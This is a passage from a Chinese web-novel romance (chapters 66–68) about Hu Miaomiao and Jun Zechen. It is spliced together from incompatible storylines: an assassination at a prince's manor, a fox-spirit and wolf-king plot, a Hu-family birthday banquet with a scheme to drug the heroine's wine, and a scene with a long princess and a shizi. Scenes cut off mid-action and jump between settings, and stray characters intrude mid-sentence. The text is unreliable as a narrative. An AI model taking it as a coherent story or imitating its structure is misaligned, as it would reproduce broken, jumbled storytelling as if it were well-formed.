在寅时,夜与日的交替之际,全王府灯火透亮,沐七在睡梦之中被拉出来鞭尸,手毛脚乱熬完药,就一脸麻木的看着自家王爷轻轻吹了一口,递到王妃嘴边,哄着:“慢点喝。” 沐七:“……” 他回想起自己差点被折腾掉一把骨头,就忍不住流一把辛酸泪,夭寿啊,王爷是不是被什么鬼东西附身了差别那么大。 很快,他就感觉一股煞气蔓延,一抬头,就看见某人柔情似水已不在,正用极度嫌弃的眼光看自己…… 沐七:“……属下告退?” “滚吧。” 沐七:“……???” 这一种用完就抛弃的感觉是怎么回事? 工·沐七·具撤退,把空间留给二人,君泽琛这才满意的收回视线,又吹了吹药汤,递到胡淼淼嘴边,柔声道:“啊~” 胡淼淼:“……” 她喉咙有些不适,轻轻动了动嘴角,勺子就塞了进去,君泽琛鹰眸一亮,很快感受到了投喂的乐趣,很快一碗就见了底,他叫来丫鬟若冰把碗拿下去,又从怀里拿出来一块帕子给胡淼淼擦擦嘴。 隔着布料的柔软让他心尖一颤,涟漪在他眼底荡漾开来,整个人都酥/麻了。 怕被对方发现,他动作迅速收回帕子,揣回怀中,站起来问:“生了病,我去让膳房做点清淡点的。” 看着那几乎同手同脚的高大身影,胡淼淼感觉有些奇怪,不过也没多想,晕头转向把自己窝回被子中。 室内炭火灼灼,她却没有丝毫困意。 真是……弱啊。 胡淼淼的病来势汹汹,来得快,去的却慢,好在,有琛王照顾,三天时间就恢复了。 这晚,君泽琛推门而入,胡淼淼看他一眼,嘴角勾出一抹笑意,浅浅的,让君泽琛心中一荡。 二人的关系相处越发融洽,不知不觉之间,胡淼淼似已经熟悉了这个人的存在。 室内烛光摇曳,君泽琛递给她几本书,随口道:“这是沐七他们爱看的,我想你平时在府上可能会闷,可以看看。” 胡淼淼视线在他那修长的手指上顿了一下,笑着接过:“谢谢!” “你我之间,不必言谢!”君泽琛眸色一闪,不动声色靠近她身边,正要坐下突然神色一戾,猛地把人扑倒…… “咻咻咻~” 胡淼淼背脊磕在床板上,看着几乎穿他们脑袋而过的利箭,神色错愕。 琛王府怎么会…… 来不及多想,有什么破窗而入,冰冷的武器泛着黑色光芒,胡淼淼心尖一颤,她被君泽琛护在怀中,抱着他脖子的手指因为用力而苍白了几许。 “小心,有毒!” 胡淼淼对毒物尤为敏感,君泽琛微微点头,错身闪开其中一人的攻击,踩着他们肩头飞身而出。 这些人能神不知鬼不觉闯进他们房间,却不代表外面的人死了。 琛王府的人没那么脆。 只能说是他们背后势力强大,避开了,毕竟这么多年君泽琛身边的刺杀接连不断。 房间内的响动,很快就会引来侍卫,刺客二十个人,君泽琛怕伤到胡淼淼,只能躲避,拖延时间,要是以往,他琛王何时怕过? 可怀中抱着心尖上的人,他不允许出现任何闪失。 然而想的很美好,这次的刺客,目标竟然不是他,刺客们就算是拼死,剑刃也要向他怀中刺去。 多次与剑刃擦脸而过,胡淼淼面无表情,无任何害怕之意,像是早就看淡生死。 她眸子闪动了一下,目光不自觉落在男人张狂的脸上,打斗的颠簸让她身体产生了抗议不过她没表露出来,脸颊轻靠在男人胸膛上,尽量不给他添麻烦。 悔恨自己身子骨弱不会武功帮不上忙吗? 不! 悔恨这种东西,只有失去的才会产生,她不会让那种事情出现。 在别人看不见的情况下,每次刀剑挥砍而来之际,上面的光芒都会暗淡几许不易察觉。 时间过去不久,半盏茶而已,刺客就死了一半,在君泽琛手中,武器可以是杯子 ,可以是桌椅,可以是人头,抱着一个人以一人之力不落下风。 果然,没一会琛王府中的侍卫就察觉到了不对劲,君泽琛耳朵微微一动查看屋外的脚步声,脚尖一点踹飞二名刺客借力破窗而出。 刺客们暗叫一声不好,一只只袖箭划出 ,君泽琛鹰眼一戾,却像是想到了什么,闪躲动作一顿,护住怀中的胡淼淼。 “刺啦——” 袖箭入体的同时,剩下几名刺客被王府侍卫包围,没多久就败下阵来。 胡淼淼动作一紧,从他怀中挣扎出来,美眸落在他背后:“你……” “没事儿……”刚说完,君泽琛高大的身躯一震,倒了下去,胡淼淼用尽全身力量抱着他的劲腰,触摸到一片湿意…… 受伤了? 那边,杨信等人麻利的把刺客逮捕,并卸掉了下巴以防他们咬舌或者服毒自尽。做完一切后才想起来他们王爷。 杨信跑过来单膝跪地:“属下来迟……” “别说了,快叫大夫沐七,你们家王爷受伤了。” 胡淼淼语气第一次这么急促,抱着他的手越来越湿,她都闻到血腥味了。 杨信一愣:“?” 王爷为什么会受伤? 别说这几十个,就算几百个,应该也…… 胡淼淼被自己蠢到了,慌乱过后就想起自己也会医术,让杨信帮忙把人扶进屋中床上,期间君泽琛背脊绷紧,还不忘安慰胡淼淼。 一切恢复平静,王府侍卫早早把刺客们抬走,下人们把疗伤药端上来。 微弱的烛火颤动,昏黄的光晕下,胡淼淼这才看见,君泽琛背后中了两支箭,一支是在肩膀处,一支却在后心,如果力道再重一些,很可能刺穿心脏。 她指尖轻颤,被君泽琛握住:“没事的,叫沐七来就好。” “不用了……” 不知是不是这番折腾,胡淼淼声音有些沙哑,她琛去神色,轻轻为男人处理伤口。 君泽琛黑衣已被血迹浸湿,加上两支箭伤口,想要处理起来并不容易,她先拿起剪刀把衣服剪开。 他的背脊宽厚,肩宽腰窄线条流畅,麦色肌肤,唯有那插着箭的伤口触目惊心。 胡淼淼呼吸一窒,缓慢附上他,轻声道:“我要拔了……” “这不妥吧?” 一旁的杨信忍不住出声,下一秒就感觉周身阴冷,一抬头,就见到自家王爷像看刺客一样看自己。 杨信:“???” 他有说错吗? 王爷受伤是大事,理应让沐七来,王妃一个女子,若是处理不好王爷伤势加重…… 这些话,杨信在君泽琛的视线下默默吞了回去。 他有预感,要敢这么说,王爷就敢不顾重伤的身/体挥剑砍他。 见他识趣,君泽琛的手指在胡淼淼看不见的情况下,指了指门口。 众人:“……” 得了,还有什么不明白的,让王爷去死好了,他们担心个毛线呐? 他们担心有毛用,又不是妹子,呸! 真他娘的过分! 众人心里愤愤然,把医用物品放下,让这对狗男女自生自灭吧! 胡淼淼一回头,就看见王府的侍卫下人们全没了? 但她没时间管这些,还是赶紧处理伤口吧。 她一手放在男人背后,察觉到他僵硬的肌肉,动作一顿:“要不,让沐七来吧。” “不用!”君泽琛脱口而出,声音中气十足,吓了胡淼淼一跳,“那……我来了?” 胡淼淼狐疑的看了看他背后,如果不是伤口摆在这,她都快怀疑琛王受伤是假的了…… 胡淼淼可委屈坏了,她可是狐妖,她都那样站在他面前了,他还无视她,害得她以为自己没有魅力。 好在,是他不行,不是她不行。 怪不得突然抽风囚禁她,原来方方面面都有原因的,他不自信呢。 她小手一拍桌,“嘬嘬你这样不行,你得去治。” 君泽琛:“?”不是,她之前不是在生气吗?这次怎么了?一口一个嘬嘬,没指名道姓,他还怪别扭的。 第 66 章 第 66 章 从某种程度而言,狐狸精的蛊惑是有一定效果的,比如胡淼淼让狼王大人去治病,他二话不说就去找了狼医看病。 狼医与他面面相觑,在狼王的压迫下冷汗直冒,“王,您要看什么?可是哪里不舒服?” 狼王不语,只是一味地沉默,从外看来很是高深莫测。 唯有他自己知道,他的心充满茫然。 对啊,他哪里不舒服啊? 胡淼淼让他治,他就出来治,鬼知道什么病? 有一种病,叫做狐觉得你有病。 他扶额,将手往狼医面前一搭,说:“你凑合着看吧,看到哪算哪。” 树影斑斑映照粼粼的水面上,阵阵荷香弥漫在空气中,三三两两的姑娘结伴点评那簇簇生香的花儿,笑得比花还娇艳。 美人观花,同时也迷了各位公子哥的眼。 他们遇见有眼缘的姑娘,会非常自信的前去邀请。 “可有看见胡家姑娘?” 胡家是一块肥肉,谁都会惦记吃一口,对于不少公子来说,正妻能带来利益才是关键,反正后院有不少美妾,不差这一个,胡家嫡系就剩下胡淼淼一个,娶回家就等于娶回来一座金山,何乐而不为? 况且,胡家那位姑娘并不丑,只是平时看起来唯唯诺诺,上不得台面罢了。 可是自从他们跟姑娘们赏花,就没见过胡淼淼。 莫不是被人捷足先登了? 被追问的下人摇头,“并不曾看见胡家小姐,她好像离开好一会儿了。” 恰在这时,远方传来一阵嘈杂声,有人大喊:“不好了,胡家小姐落水了。” 好好的生辰宴,所有人都没料到会发生这种事,问话的公子忽而福至心灵。 美人落难,他英雄救美,然后胡家姑娘芳心暗许,岂不是比简单地搭讪有用? 想到这一块的,并不只有他一人,一时之间,所有人火速奔向嘈杂之地。 可惜,岸边早已有人等候多时。 梁昌荣早就听母亲说,有人会帮他把胡淼淼送入他怀中,今日特意精心准备,打算豁面子大厅观众之下逼迫胡淼淼嫁给他。 然而事情成功了,多多少少会对他名声有点影响,没想到那胡家私生女提议,让胡淼淼落水,他英雄救美,小六去喊人,过来的人肯定看见他们肌肤相贴的一幕。 出于救人,不会有人骂他趁人之危,反而会夸赞他。 梁昌荣很满意。从未听过如此骇人的言论,众人惊呆了,可是又好有道理的样子,她们也想要……咳咳。 当然,认同的不在多数,更多的则是觉得胡家小姐失去父亲,靠山没了,所以疯了! 不然怎么能如此不知羞耻? 这一段话,犹如惊雷,把众人砸得外焦里嫩,僵硬在原地。 林桃秀好半晌回神,脸色难看:“你离经叛道,有违常理,既然这样,你就去嫁你的小白脸。” 她连自己都未曾察觉眼中的嫉妒,只是认为和这样的女人在一起会有辱名声,拂帕子离开,尚且没走几步,身后的声音又幽幽响起:“穿我的,用我的,最后还妄想咬我一口,小荷,回去整理整理账本,明儿去林府找林大人结账,欠债还钱,天经地义。” 其他人注意力停留在林桃秀身上,林桃秀的父亲只是翰林院的一个九品侍书,哪来的那么多钱,给林桃秀买那么贵的衣服和首饰? 往日不注意,现在回想起来,林桃秀的衣着打扮,从未寒酸过,每次这类场合,她都打扮的比主角要花枝招展,就比如安小姐,人家才是今天的正主,也未曾想她这般招摇。 林桃秀最爱面子,她害怕胡淼淼真的去林府,也害怕别人瞧不起自己,咬了咬牙:“谁喜欢你的东西,明日我全给你送过去。” 旁边的小姐妹也或多或少拿了原主的东西,如今明哲保身,在一旁瑟瑟发抖,担心胡淼淼把火烧到她们身上。 好在,胡淼淼好似并没怎么打算继续揪着不放,安初心倒是知道了前因后果,不悦的敲打了一番让人“请”林桃秀离开,毕竟若不是她们,她好不容易请来的郡主也不会走,在人家面前失了颜面。 这边才稍微安静下来,围观一切的王芋儿早就傻眼了。 “姐姐,你这样,不太好吧?” 她没想到,胡淼淼这么大胆,在胡府就算了,在外面当着众多千金的面说出这番话,将来还想不想在京城混了? 胡淼淼微笑:“多谢关心,别愣着,先吃点东西。” 她顺势把一叠葡萄推了过去,好像跟王芋儿关系很好似的,让她有些受宠若惊,放下想要敬给胡淼淼的酒杯,想也没想就吃了一颗,然后,她面部肌肉抽搐了一下,安府的葡萄,怎么这么酸。 王芋儿本来是想借着此次和众千金交好的 ,可惜胡淼淼来了哪一出儿,她又站在胡淼淼身边是胡府人,其他千金都刻意避开她们,唯有少数和胡淼淼寒暄,但也都是别有目的,王芋儿憋屈了半天,终于等到了重头戏,随着众人前去赏花。 她忽然意识到,好像忘记了什么,却又如何都想不起来,当看见众公子中的某人后,突然想起来,不对啊,她来之前有一个特殊任务,就是成全香姑姑的儿子。 来之前母亲千叮咛万嘱咐,一是要和别人搞好关系,二是要把药掺入胡淼淼的酒杯,然后再扶她去见梁昌荣,很简单,让别人看见他们俩衣衫不整便好。 可是刚才那么一通胡闹,她震惊到忘记动手,对面的杨猖荣正在给她使眼色,王芋儿轻咬下唇,开始思索其他方法,小声对胡淼淼说:“姐姐,我肚子疼,先去解手,马上回来。” “好!”多么劣迹的借口,胡淼淼双目淼笑,态度好得不可思议。 可惜千算万算,梁昌荣都没算到这事会在自己身上出现岔子。 梁昌荣被家里当宝宠着,水性并不怎么好,救人的时候难免会紧张,一听到落水上,袍子一甩,来不及多看直接跳了下去,水刺激得他睁不开眼睛,勉强睁开一丝缝隙,看见那下坠挣扎的倩影,他心中一喜,迅速游过去救人。 揽住女子的细腰,无奈她并不配合,死亡的恐惧之下,胡乱挥舞着四肢,嘴角吐着泡泡,梁昌荣被她踹了好几脚,水中没有支撑点,越久越危险,渐渐的,梁昌荣惊恐的发现,他腿抽筋了…… 浩浩荡荡的众人赶到池边,水中激荡的水花即将恢复平静。 正要救人的公子哥,看见了岸边的几人之中有一个身影十分眼熟。 多年不见,那位出落得亭亭玉立,早就不是当初彷徨的丫头片子,浅蓝色菱纱罗裙,青丝被白玉珍珠的流苏簪子固定,面容精致秀美,神色淡淡,不正是他们想要救的胡家姑娘吗? 不对,胡家姑娘在这里,落水的是谁? 安府的人头都大了,安夫人连忙招呼下人:“你们还愣着干什么,下去救人。” 经过众人一番折腾,总算把水里的人救上来,梁昌荣呕出好几口水,狼狈的像濒临死亡的落水狗,然后像是想到什么,连忙去抱身边的女子。 “淼淼,你怎么样了。” 围观的众人下意识看向那蓝衣女子,胡淼淼叹气:“小荷,衣服,安夫人今日之事叨扰了,改日再来登门拜访,以赔今日之过。” 夏小荷拿出衣袍,帮地上的二人盖上。 安夫人自然没话说,吩咐下人去扶落水之人去厢房整理。 也是这一刻,头晕脑胀的梁昌荣才意识到不对劲儿,本应该在他怀中的女人淡淡地站在人群之中,而怀里这个…… 他懵着脸低头,怀里这个,不就是给他出主意的私生女吗? 梁昌荣顿时眼前一黑,气得晕了过去,双双被披着衣服抬走。 有人还想找胡淼淼搭讪,胡淼淼笑着回绝,“家妹落水,我去看看,恕我失陪,诸位玩得尽兴。” 等离开后,夏小荷才敢开口:“小姐,刚才怎么回事?” 刚才小姐突然支开她去拿衣服,她还纳闷,为何大夏天去取衣服,没想到回来就看见小姐站在岸边,水下两个人噗通噗通的挣扎。 胡淼淼刚才一直没有表情的脸上,露出了和以往相似的笑,像是卸去伪装,轻眨了一下眼眸,表示自己很无辜:“谁知道了,我就弯个腰,眼睛一闭一睁,人没了。” 夏小荷:“……”得了,她都懂,都是自己人,不必说,也不必装,只能说那位眼瞎,你说你好端端的,惹她干嘛? 君泽琛撤掉了狐狼之家的结界。 但胡淼淼并不感激。 因为自由是她应得的,君泽琛这只不过是纠正他犯下的错误,更何况,他昨天夜里还丢下她一个人睡觉,一而再再而三的讨好,他示弱不见,有病不医治,胡淼淼也是有脾气的。 所以她决定出来亲自压着他去看病。 臭狼,等着吧,等他把病治好看她怎么收拾他。 胡淼淼数日未曾踏出房门,更没有观察过狼族,一出来呼吸着新鲜的空气,看着一层又一层的类似于宫阙的华丽宫殿,心情稍微好了不少。 但是…… 她扭头:“你们狼族没有自己的牌匾吗?怎么都是狐?” 狐狼之家、宠狐三十六计、白狐典藏、狐的衣柜……? 都是什么东西? 君泽琛跟在她后面,淡淡道:“没什么,反正以后狐族也是狼族的,提前征用罢了。” 他取名向来很可以,都有很好的寓意。 就连以后的狐狸崽子,都叫狐大狼二。 才不会像某只笨狐狸,一口一个好狗,一口一个嘬嘬,多难听? 当然,他目前并不打算要狐狸崽子,他们两个能不能生还不一定呢。 第 67 章 第 67 章 胡淼淼以为的狼族凶神恶煞,血腥暴力,实际上的狼族,有自己的生存体系,有组织有几率,打架要去斗狐场打,不允许私下里打架斗殴。 狼族当初确实是以残杀自己种族为乐,但自从新狼王上任,他们所有的精力都用来挨揍了。 几乎整个狼族的狼妖,都被那个臭石头狼王踢过,他们平日里都夹起尾巴做狼,死容易,但被打得缺胳膊断腿成为废狼简直生不如死。 至于大家这方面,对本族唯唯诺诺,对外族重拳出击。 胡淼淼蹲在君泽琛的肩膀上,用爪子抱着他的脑袋固定身形,威风凛凛地俯视众狼,在狼路过的时候她怂唧唧将脸贴着男人的侧脸藏好,等狼过去之后,继续将脑袋拔出来睥睨狼族。 狐把狼的两幅面孔学得十成十。 安府,一到早人来人往,各个贵气不凡的,能来到这里的,都是金枝玉叶富家子弟,安府不敢怠慢,安夫人老早就带着人前来迎接。 虽说是安小姐生辰宴,邀众人赏花,可她们这种名门,什么花儿没见过,不过是个由头罢了。 更何况,还有很多公子回来。 胡淼淼下了马车,后面车上的王芋儿也跟着下来,她有些拘谨和难堪。在场的姑娘,哪个不是香车宝马,丫鬟围绕,而她呢? 刚才不过是想跟胡淼淼套近乎坐一个马车,都被拒绝在外,无奈之下只能随便弄个马车凑合,刚开始觉得没什么,可是一到安府门口,她好像金子里的沙子,丑陋而又毫无存在感,还掺在其中碍眼。 来之前,母亲千叮咛万嘱咐,一定小心行事,不要在众女之中小家子气,只要能和她们打好关系,近朱者赤,她也是可以和她们一样的,最好是再结识一个有钱有权的公子哥。 更何况,她还有其他任务在身。今日之后,所谓的胡家大小姐就要身败名裂。 她强行把不甘压在心底上前搀胡淼淼的手,小声道:“姐姐,我第一次参加这种环境,有什么不妥,你可一定要提醒我啊。” 胡淼淼直言:“你来这,就是不妥。”厅内,主位上的老夫人表情严肃:“一百两银子,离开淼丫头!” 胡府阔绰,下人一个月的银子就一两,可够普通人家一年的花销,更何况一百两银子,足够过一辈子了。 暗红色衣袍男子站长人群之中,接受众人的逼迫,好像身处黑暗的酴醿花,徐徐开放,夹缝中生存,弱小可怜又无助,…彼时他没有说话,垂着眼眸不知想着什么,对于没有记忆的他,即将失去唯一的依靠,肯定很彷徨。 胡淼淼笑意收敛,声音铮铮有力,传达每个角落。 “一百两?就想买我的人?” 看不清具体表情的男人稍愣了几秒,敛去睫毛遮挡的刺骨寒意,再次抬眸,终于找到了主心骨,萎靡的狐狸耳朵支棱起来,用那双狐狸眼,眼巴巴望向走进来的胡淼淼,身后仿佛有一条耷拉的狐狸尾巴摇了摇…… “之之~”经过这么一闹,谁都没有心思赏花,安小姐打圆场安抚众人,明面上谁都没有提及这件事,毕竟那姑娘好像是胡家的,可能是旁系,跟他们没有关系。 甚至不会问怎么落水的,孰轻孰重一目了然,没有人会因为一个不知名的人,去追问能给他们带来利益的人。 哪怕,当时岸边只有胡淼淼。 王芋儿手臂一僵,下一秒,胡淼淼话锋一转:“开玩笑的,能有什么不妥,放心的做你想做的事,不过再做之前,一定要考虑清楚,什么该做,什么不该做。” 王芋儿只觉得她话中有话,但是并未多想,胡乱地点了点头,遮挡住眼底的所有情绪。 见她的模样,胡淼淼没再多言,让夏小荷把准备的礼送到管家手里,跟着走进安府。 安府的丫鬟带她们去御花园,一路上遇见不少人,胡淼淼的记忆中,三年前,原主虽然不爱出门,可也和她们有过交集,部分人内心不屑商贾子女,表面上依旧维持着要好的态度,偶尔找原主讨要一些好处。 毕竟不是谁都有和原主一样,给钱阔绰的爹,宠到无法无天了,随便拿出来一套饰品就是她们一个月的零花钱。 然而她们看见三年后归来的胡淼淼,上上下下打量,目光古怪。 胡淼淼很会享受生活,对首饰要求也极高,既要不压脖子,又要带一串的那种,别问,问就是干架的时候能薅下来当弹珠玩,弹死一个是一个。 所以,在这群势力眼中,绝对不会显得寒酸,现在的态度绝对有问题。 胡淼淼眼眸轻扫过众人,见众人目光闪躲,纷纷避开,最终落在身旁身上,王梦瑶把家王芋儿教得很好,可惜,年轻的姑娘尚且差一些火候,紧张的情绪根本藏不住。 胡淼淼轻啧了一声,不想去理会无关紧要的人,在丫鬟的带领下,入了席位席位。 安府的流程,门口送礼,进入席位,当然主要目的不是吃东西,而是相互攀谈,今日来的女子较多,可是由于朝代比较开放,安家小姐的赏花宴,也宴请公子们,只不过在隔壁男席,等用完膳后,众人去赏花才能见到彼此。 见胡淼淼直奔席位而去,刚才神秘讨论什么的几位姑娘感觉自己受到了轻视,纷纷不满起来,结伴走到胡淼淼身边,声音不再掩饰。 “听闻淼淼妹妹刚过孝期带回来一个野男人?不过也是,你已过了及笄之年,再不找男人,将来很难找到年轻公 铱驊 子,只能嫁给老头子当填房了。” 说话的一袭粉衣,说话跟抹了毒似的,夹枪带棍,不难看出,她是这个小团体的核心人物,当初原主没少被她们排挤,还要掏钱给她们买饰品,比家里的阿冤还冤种。 这个粉衣女子父亲是个在翰林院当官的,可惜官职小,俸禄不多,根本不会给她太多钱挥霍。 仗着自己父亲是当官的,一边花着原主钱,还一边欺负原主。 安家家大业大,席位上的菜品十分排面,点心精心雕刻的花儿都栩栩如生,有酒有菜,香味扑鼻,胡淼淼可以拒绝美色,但是绝对拒绝不了美食,美食在前,一群苍蝇嗡嗡乱叫,她在心里啧了一声,觉得这些人麻烦得要命。 偏偏,粉衣女林桃秀不依不饶:“就算嫁给一个老头,也应该找一个有钱的,何必找个没用的小白脸?” 她说话的时候,头上珠光宝气的翡翠步摇一晃一晃的,若不是不够长,都恨不得甩别人脸上了。身后跟着的姐妹都站在她这一边,附和着。 这边的动静,很快引起了其他人的注意力,安小姐正在迎接贵客入门,谁知道刚进来,就碰见了这种场面,她眉宇蹙了一下,随机对身边的贵客陪笑:“郡主,这里吵闹,我让人带您先去另一边厢房休息吧。” “不必,上不得台面,礼物也送到了,本郡主就不进去了。”郡主用帕子掩住唇角,仿佛看见了什么晦气的东西,临走前还不忘挖苦,“这些日子表兄正忙,你敢操办宴席本郡主能来已经仁尽义尽,下次别找本郡主,香儿走回府。” 好不容易托关系请来身份尊贵的皇亲国戚,就这么走了,安初心脸色难看,但只能眼睁睁看着人离去,沉着脸走过去,想看看到底谁在闹事儿。 刚靠近,就听到一句:“我有钱。” 安初心脚步一顿,是谁说话比她表姐还嚣张。 众人诡异地沉默,林桃秀不明所以:“然后呢?” 她有钱跟嫁人什么关系。 胡淼淼没忍住你捻起桌边碟中的一颗紫葡萄,也不剥皮,直接放入口中,慢吞吞道:“我有钱,除非有某种特殊癖好,不然为什么要去给别人做填房。” 几个小姐妹顿时反应过来,对哦她有钱,为什么要去给有钱的老头当填房?可能那老头还没胡淼淼有钱…… 众人把视线落在脸色不好看的林桃秀身上,意味深长,还不会是她有这种怪喜好吧? 胡淼淼吃了一粒葡萄就不吃了,默默喝了一口茶水,安府的葡萄怎那么酸? 她用帕子擦拭了一下嘴,淼笑看她们:“什么小白脸说的那么难听,明明是小相公,你们不懂有小相公的乐趣,我有钱,他身无分文,只能依靠我,将来我说什么就是什么,他若不听话,我就再给他找个兄弟。” 她找女狼医是因为和男狼说某方面话题比较不好意思,有些话题还是女和女聊比较放得开。 小狐狸蹬蹬腿,用妖力拖着自己飘到女狼医耳边,偷瞄一眼君泽琛,窃窃私语。 女狼医原本死寂的眼睛掀起一阵阵波澜,眼中似有了光,跟着狐狸瞥君泽琛。 狼的耳朵很好,就算是胡淼淼悄悄说,那些话还是一字不落地传到了狼耳朵里。 君泽琛豁然扶紧门框,指尖狠狠镶嵌进去,木屑穿过皮肉,他依没有察觉,高大的身躯隐有站不稳的迹象。 他眼底掀起惊涛骇浪,咬牙切齿,一字一顿,“胡淼淼,我看你是欠收拾。” 第 68 章 第 68 章 君泽琛平时冷着脸,但很少凶胡淼淼,哪怕他以狼王的身份与她第一次见面,穿着一身凶器,凶神恶煞的也没有凶过狐狸。 小狐狸被这一声狼吼吓得一缩,一溜烟窜到女狼医后面藏好。 女狼医沉默地把狐狸往身后藏藏,遮住狐狸脆弱的小身板,她在心里不赞同地评价,王有多凶悍他们狼族是知道的,狼族皮糙肉厚被打打也就算了,小狐狸细皮嫩肉,可不能打。 第一次相见的陌生狼,对小狐狸如此袒护,给君泽琛气的冷静了。 他的狐狸那么好,别人对她好是应该的,他应该高兴才……怪。 “过来。”男人似乎平静了情绪,只是那眼神看起来却不像那么回事儿,给胡淼淼一种“你等回家的”的错觉。 有一次她看见族中的一只狐狸在外面闯了祸,那个狐狸长辈就是这样说的。 “在外面给你脸了是吧,你等回家的。” 不用猜,那狐狸回家肯定挨揍了。 胡淼淼踌躇,“我过去你不会揍我吧?” 君泽琛几乎是从牙缝里挤出来的几个字,“我何时揍过你?” 淼苑,夏小荷本想跟着自家小姐去见老夫人,可惜胡淼淼却让她早早出门,去布置昨天晚上交代的那些事。 她按照要求去账房领钱。 除了那些胡家主子,胡府的其他下人并不敢为难他她,而且账房主事儿的还是当初胡海林选出来的,算是看着胡淼淼长大,见夏小荷确认无误后爽快地给钱。 夏小荷又带着一批小厮,浩浩荡荡出发,回来后,从院落的盆栽到卧室梨花桌椅,雪绸被褥,再到小灶的锅碗瓢盆,都面面俱到。 尤其是淼苑的灶房一定要收拾妥当,万万不可马虎。 昨天回来的匆忙,淼院的院子多,君泽琛直接在一旁选了个房间住,离胡淼淼很近。 众人一大早上这番折腾,自然逃不过他的耳目,他推开门。 清晨的光晕沐在他四周,白皙的皮肤如同暖玉,清润透亮,竟然不比身上随意披着的白衣暗沉,昳丽的眉眼之中透着几分与之不符的纯净,这矛盾的美感,哪怕看过很多次,夏小荷依然有些闪神。 她暗道了一声,不愧是小姐捡来的男人,跟人间妖精似的。 这若是当不成姑爷,将来小姐得找啥样的? 很难想象能有和这人相比的男子。 正想着,未来姑爷开口:“小荷,有什么需要我帮助的吗?” 新姑爷真好,一点架子都没有,甚至还要帮忙。 夏小荷连连摇头:“就一点琐事,怎能劳烦姑爷。” 脆生生的姑爷,正在搬桌椅的众人差点砸了自己的脚,表情各异起来,夏小荷意识到把心里话说出来了,赶紧补了句:“公子!” 君泽琛表情不变,接过夏小荷抱着的被褥,上好的雪绸,绣着银色丝线,缠枝花纹点缀着几朵红梅,软绵丝滑,透着符合夏天的清凉。 夏小荷没想到他竟然真上手帮自己,吓了一跳,正要夺回来,却听头上那道好听的声音再次响起:“我和之之相识甚久,你是她身边的丫鬟,理应和我也经常相处才是,怎地如此拘谨,好似……” 夏小荷头皮一紧,抬头看他,男人浅色眸子逐渐发生变化,优雅地吐出三个字:“陌生人。” 这一瞬间,夏小荷感觉周遭的空气都变冷了,仿佛被隐藏暗处的毒蛇吐着信子,张开獠牙…… 她冷汗直冒,小姐千叮咛万嘱咐,不要在这个男人面前暴露太多,如果…… “你们杵在这干什么呢?” 一道疑惑的声音打破气氛的冷凝,气温回暖,好似刚才的一切都是错觉,姑爷正抱着被子,无害地看向院落门口,脸上的笑都染上了几丝甜腻。 “之之回来了,我们刚打算布置一下,想等你回来不用操心,直接用膳。” 夏小荷错愕,姑爷这还有两幅面孔呢? 正想着,她便看见姑爷回头笑意盈盈地看向自己:“你说是吗,小荷?” 她一激灵:“对小姐,我们正收拾东西,没想到你提前回来了。” 有古怪,胡淼淼狐疑地在扫一眼众人。 惊讶地发现,阿冤今天不知道抽了什么风,穿了一件白色衣服,憨憨地站在原地。 他抱着绽放朵朵红梅的被子,配上那张逆天颜值的脸,本一个个能概括诡计多端的狐狸眼中泛着小动物似的渴望,一股子贤惠可怜劲儿是怎么回事? 就好像是……担惊受怕被扫地出门的狐狸幼崽…… 她突然想到,昨天让小荷布置自己老巢的时候忘记安排这厮了,好歹明面上的挡箭牌,总得有个门面儿不是,于是,胡淼淼大手一挥。 “东西都送姑爷那屋去,一会再帮我布置一套一模一样的送我屋里。” 话音刚落,胡淼淼看见男人不知所措的样子,又发挥了渣男般的低语:“你放心,我有的你都有,毕竟是未婚夫妻,等成亲后我再多给你定制几件情侣装,以后穿那件都依你。” 她当真是为了自己着想吗?君泽琛掌心传来温热的触感,侧头看去,身边的女人跟刚才在大厅中的仿佛判若两人,哪怕她在维护他,他依旧感觉有些心凉。 君泽琛再次确认她的古怪,这样失忆的他,没有任何安全感。 他想快点找回属于自己的记忆,然后弄清和她之间的关系、哪怕是骗他…… 他会拆开真相,酌情考虑,怎么对她,可以捆在身边,一点点剥开她虚假的伪装,展露本性。 假的没关系,会变成真的。 回握住温暖的小手,阳光下的男子笑的纯真,干净,又有几分庆幸,“之之,我不想离开你……” 那双上挑的狐狸眼湿漉漉的,任谁看见都会心软,尤其还是受了委屈的狐狸。若不是身高不允许,胡淼淼都想伸手摸摸狐狸头。 “你放心,我会一直让你留在身边。”“啪~” 青色瓷碗在地上炸开,残留的药汁飞溅,造成一切的二人彼此对视,男人脸上笑容消失得无影无踪,他好似怕沾染瘟疫一样拉开距离,留下一道问句:“公主觉得味道如何?” 胡淼淼:“?”好,好极了。 苦涩的药味袭击味蕾,那张娇俏艳丽的容颜肉眼可见变成痛苦面具,古代的医药胡淼淼不曾尝过,便是当初太医们误会她有疾病开的药,也都让她悄悄毁尸灭迹。 这是她第一次尝试,就很秃然…… 苦……又甘又苦又涩,还有点辛辣。 长公主殿下终于忍不住崩人设,纤细的手指颤巍巍指着君泽琛,半晌说不出来话。 “你……” 我叉叉你个圈圈。 君泽琛好似懒骨头,一直“瘫”在床上,见她拿手指着自己,以及吃药后的表情觉得十分好玩。 在名门千金之中,众千金虽觉得他皮相好,却不会如此纠缠他,唯有这位长公主烦不胜烦,如果正当手段也就罢了,他会拒绝不糟蹋姑娘家的真心,可是长公主无所不用其极。 杀不得,他也不愿受气。 他不会放过任何机会,让她吃点苦头。 男人微微扬起下巴,准备听长公主愤怒,谁知…… “你刚才是不是用嘴碰药了?” 长公主殿下眼睛瞪得溜圆,死死盯着那湿润的薄唇,恨不得盯出水来。 不,上面就是有水,有药汁。 君泽琛:“嗯?” 他抿了抿嘴角,还真有股苦味,不过君泽琛不明白,为什么长公主会关注这些,不是应该气他给她灌药吗? 世子爷不明所以,苍白的脸上露出一抹淡淡的疑惑,薄唇轻启,正欲说话,未料到眼前之人突然发疯,娇小的身影直接撞入怀中,胸口一阵闷痛,他猝不及防闷/哼一声,竟被她按在了床上。 女人不君形象压住他,由于他是侧躺,这么一搞,她只能单腿跪在床上,一腿微微弯曲支撑在床边,整个上半身都在他身上,上臂死死锁住他的喉咙。 “来人啊!你们家世子要断气了!” 君泽琛:“?” 发什么疯。 胡淼淼嘴欠没忍住,说了一句容易被碰瓷的话,以至于后来恨不得打死当初的自己…… 然后她就看见男人笑的很开心,还拉着她回淼苑,说是给她准备了惊喜。 胡淼淼情感被磨灭的差不多了,除了穿越的惊,一时间还不知道能有什么喜,不过看着有人和狐狸似的摇着大尾巴带路,她也没拒绝。 